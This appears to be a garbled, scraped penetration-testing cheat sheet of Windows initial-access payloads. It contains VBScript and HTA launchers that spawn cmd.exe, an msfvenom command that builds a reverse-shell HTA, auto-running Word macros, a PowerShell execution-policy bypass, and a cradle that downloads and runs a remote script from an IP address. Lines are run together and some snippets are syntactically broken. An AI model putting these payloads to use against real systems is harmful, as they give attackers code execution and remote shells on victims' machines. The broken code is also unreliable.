'Can be executed with wscript.exe script.vbs
Dim Message
Message = "Hello World"
MsgBox MessageSet Shell = Wscript.CreateObject("Wscript.Shell")
Shell.run("C:\Windows\System32\cmd.exe" & Wscript.ScriptFullName),0,True
'Executing the above with wscript.exe payload.exe will run cmd.exe in a new window
'Can also be run with cscript.exeLast updated
<html>
<body>
<script>
var c = 'cmd.exe';
new ActiveXobject('Wscript.Shell').Run(c);
</script>
</body>
</html>msfvenom -p <payload> LHOST=<ip> LPORT=<ip> -f hta-psh -o reverse.htaSub Popup()
MsgBox ("Hello World!")
End Sub
'The above macro can be run by F5Sub Document_Open()
Popup
End Sub
Sub AutoOpen()
Popup
End Sub
Sub Popup()
MsgBox ("Hello World")Sub Calc()
Dim Payload as String
Payload = "calc.exe"
CreateObject("Wscript.Shell").Run Payload,0
End Subpowershell.exe -ep bypass File script.ps1Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://172.17.0.1:8888/test.ps1')
# OR
powershell -c "Invoke-Expression (New-Object System.Net.WebClient).DownloadString('http://172.17.0.1:8888/test.ps1')"